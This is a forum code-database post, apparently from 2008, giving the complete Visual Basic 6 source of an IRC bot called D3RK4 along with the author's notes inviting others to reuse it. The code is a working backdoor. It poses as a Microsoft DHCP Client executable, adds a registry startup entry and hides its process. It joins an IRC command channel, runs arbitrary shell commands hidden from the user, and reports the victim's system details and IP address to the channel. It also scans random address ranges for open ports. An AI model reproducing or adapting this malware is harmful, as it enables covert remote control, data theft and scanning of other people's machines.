[VB6]IRC Bot D3RK4

/////////////////////////////////////////////////////////////////
// R00TSECURITY.ORG - YOUR SECURITY COMMUNITY
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// [2008-07-15] IRC Bot D3RK4
// http://r00tsecurity.org/db/code/130
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// GENERATED ON: 2008-08-18 | 19:36:38
/////////////////////////////////////////////////////////////////


CODE INFO
This is a very unfinished bot i started writing in Visual Basic 6.0, Its mostly good for the IRC Parser and built in scan function.
Which ovbiously can be greatly improved...and automated...and so on and so forth. The info command is nice too.

This source is configured to compile to "msdhcpcl.exe" and uses the file ws.exe to hide itself. ws is a free utility in the fs
(file-scanner) exe toolkit that ive been using for some time. feel free to scan the hell out of it, its clean.

I dont really feel like making a write up on all the commands and what the do and what all the variables are and such. It's Visual Basic
for fuck sakes :P Its not rocket science. If your any good at VB you should be able to follow this code with little difficulty. Assuming
you do in fact use this source it would be nice to give me some credit in some way shape or form under the ./ver or in the documentation
if you do release. kthx.

SOURCE CODE
Private Declare Function GetTickCount Lib "kernel32" () As Long
Dim BotChan
Dim Pong
Dim BotData
Dim BotPass
Dim Ticks
Dim minutes
Dim Master
Dim mem As MEMORYSTATUS
Dim TotalRam
Dim LIP
Dim ScanPort
Dim Base
Dim ScanCnt
Dim BaseMod
'Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
'
'Public Function UserName() As String
'    Dim llReturn As Long
'   Dim lsUserName As String
  '  Dim lsBuffer As String
   ' lsUserName = ""
    'lsBuffer = Space$(255)
    'llReturn = GetUserName(lsBuffer, 255)
    'If llReturn Then
    '   lsUserName = Left$(lsBuffer, InStr(lsBuffer, Chr(0)) - 1)
    'End If
   ' UserName = lsUserName
'End Function
'

Private Sub Bot_Connect()
Randomize Timer
Bot.SendData "NICK Guest" & Int(Rnd * 9999) & vbCrLf
Bot.SendData "USER Guest Guest Guest :Java User" & vbCrLf
End Sub

Private Sub Bot_ConnectionRequest(ByVal requestID As Long)
'Bot.Close
'Bot.Accept (requestID)
End Sub

Private Sub Bot_DataArrival(ByVal bytesTotal As Long)
Bot.GetData BotData, vbString
On Error Resume Next
For x = 1 To Len(BotData)
'***Server Ping/Pong
If Mid$(BotData, x, 6) = "PING :" Then
Pong = Mid$(BotData, x + 6, Len(BotData) - 2)
Bot.SendData "PONG " & Pong & vbCrLf
Bot.SendData "JOIN " & BotChan & vbCrLf
End If

'***Auth
If Mid$(BotData, x, 7) = "./auth " Then
    If Mid$(BotData, x + 7, 4) = BotPass Then
    Bot.SendData "PRIVMSG " & BotChan & " :[password accepted]" & vbCrLf
    Master = True
    End If
End If

If Master = True Then
'***Start post-login commands
If Mid$(BotData, x, 5) = "./ver" Then
    Bot.SendData "PRIVMSG " & BotChan & " :" & Chr(2) & ".::[D3RK4 0.002 (Public Release)]::." & vbCrLf
ElseIf Mid$(BotData, x, 8) = "./uptime" Then
    Ticks = GetTickCount()
    seconds = Ticks / 1000
    minutes = seconds / 60
    Bot.SendData "PRIVMSG " & BotChan & " :[uptime] " & Round(minutes) & " minutes. " & vbCrLf
ElseIf Mid$(BotData, x, 6) = "./info" Then
    GlobalMemoryStatus mem
    Ticks = GetTickCount()
    seconds = Ticks / 1000
    minutes = seconds / 60
    OS1 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "ProductName")
    OS2 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CSDVersion")
    OS3 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CurrentVersion")
    OS4 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "CurrentBuildNumber")
    OS5 = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "BuildLab")
    PID = GetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion", "ProductId")
    CPU = GetStringValue("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")
    CPU = Left$(CPU, InStr(CPU, Chr$(0)) - 1)
    PID = Left$(PID, InStr(PID, Chr$(0)) - 1)
    OS1 = Left$(OS1, InStr(OS1, Chr$(0)) - 1)
    OS2 = Left$(OS2, InStr(OS2, Chr$(0)) - 1)
    OS3 = Left$(OS3, InStr(OS3, Chr$(0)) - 1)
    OS4 = Left$(OS4, InStr(OS4, Chr$(0)) - 1)
    OS5 = Left$(OS5, InStr(OS5, Chr$(0)) - 1)
    TotalRam = mem.dwTotalPhys / 1024 / 1024
    Bot.SendData "PRIVMSG " & BotChan & " :[info] " & Chr(2) & "OS: " & Chr(2) & OS1 & " " & OS2 & " (" & OS3 & " - " & OS4 & ")" & Chr(2) & " BUILD: " & Chr(2) & OS5 & Chr(2) & " CPU: " & Chr(2) & CPU & Chr(2) & " RAM: " & Chr(2) & Round(TotalRam) & "MB" & Chr(2) & " UPTIME: " & Chr(2) & Round(minutes) & " minutes." & Chr(2) & " PRODUCT ID: " & Chr(2) & PID & Chr(2) & " IP: " & Chr(2) & Bot.LocalIP & vbCrLf
ElseIf Mid$(BotData, x, 4) = "./ip" Then
    Bot.SendData "PRIVMSG " & BotChan & " :[ip] " & Bot.LocalIP & vbCrLf
ElseIf Mid$(BotData, x, 6) = "./raw " Then
    Bot.SendData Mid$(BotData, x + 6, Len(BotData)) & vbCrLf
    Bot.SendData "PRIVMSG " & BotChan & " :[raw] command preformed" & vbCrLf
ElseIf Mid$(BotData, x, 6) = "./run " Then
'MsgBox Mid$(BotData, x + 5, Len(BotData) - x - 6)
Shell ("cmd.exe /c " & Mid$(BotData, x + 6, Len(BotData) - x - 7)), vbHide
Bot.SendData "PRIVMSG " & BotChan & " :[run] command preformed" & vbCrLf
ElseIf Mid$(BotData, x, 7) = "./scan " Then
    Scan.Close
    ScanPort = Mid$(BotData, x + 7, Len(BotData))
    ScanPort = Mid$(ScanPort, 1, Len(ScanPort) - 2)
    'MsgBox ScanPort
    Scan.RemotePort = ScanPort
    ScanCnt = 0
    Bot.SendData "PRIVMSG " & BotChan & " :[scanning] Port: " & ScanPort & vbCrLf
ElseIf Mid$(BotData, x, 12) = "./scan.state" Then
    Bot.SendData "PRIVMSG " & BotChan & " :[scanning] Port: " & ScanPort & " Current: " & Scan.RemoteHost & " State: " & Scan.State & " Count: " & ScanCnt & vbCrLf
ElseIf Mid$(BotData, x, 11) = "./scan.stop" Then
    Scan.Close
    ScanPort = Null
    Bot.SendData "PRIVMSG " & BotChan & " :[scanning halted]" & vbCrLf
ElseIf Mid$(BotData, x, 7) = "./base " Then
    Randomize Timer
    BaseMod = Mid$(BotData, x + 7, Len(BotData))
    BaseMod = Mid$(BaseMod, 1, Len(BaseMod) - 2)
    Base = BaseMod & "." & Int(Rnd * 255) + 1 & "."
    Bot.SendData "PRIVMSG " & BotChan & " :[scanning] Range: " & Base & "*.*" & vbCrLf
ElseIf Mid$(BotData, x, 8) = "./logout" Then
    Master = False
    Bot.SendData "PRIVMSG " & BotChan & " :[logged out]" & vbCrLf
ElseIf Mid$(BotData, x, 11) = "./omgwtfh4x" Then
    Bot.SendData "PRIVMSG " & BotChan & " :(Connection Reset by Peer)" & vbCrLf
    Bot.Close
    Unload Form1
End If
'***End post-login commands
End If

Next x
'MsgBox BotData
End Sub

Private Sub Form_Load()
On Error Resume Next
Randomize Timer
Startup = SetStringValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices", "Microsoft DHCP Client", VB.App.Path & "\msdhcpcl.exe")
Shell ("ws.exe hide -p msdhcpcl.exe"), vbHide
Form1.Visible = False

Timer1.Interval = 60000
Timer1.Enabled = True
Timer2.Interval = 10000
Timer2.Enabled = True
Master = False
BotChan = "#.baha."
BotPass = Chr(116) & Chr(101) & Chr(115) & Chr(116)
LIP = Split(Bot.LocalIP, ".")
Base = LIP(0) & "." & LIP(1) & "."
Bot.Protocol = sckTCPProtocol
Bot.RemoteHost = "irc.after-all.org"
Bot.RemotePort = 6667
Bo*****nnect
End Sub

Private Sub Scan_Connect()
Bot.SendData "PRIVMSG " & BotChan & " :[scan] " & Scan.RemotePort & " " & Scan.RemoteHost & vbCrLf
End Sub

Private Sub Timer1_Timer()
If Bot.State < 7 Then
Bot.Close
Bo*****nnect
ElseIf Bot.State = 7 Then
Bot.SendData "JOIN " & BotChan & vbCrLf
Bot.SendData "MODE " & BotChan & " +snt" & vbCrLf
End If
End Sub

Private Sub Timer2_Timer()
If Len(ScanPort) > 0 Then
ScanCnt = ScanCnt + 1
Scan.Close
Scan.RemoteHost = Base & Int(Rnd * 255) + 1 & "." & Int(Rnd * 255) + 1
Scan.Connect
End If
End Sub

// http://r00tsecurity.org/db/code/130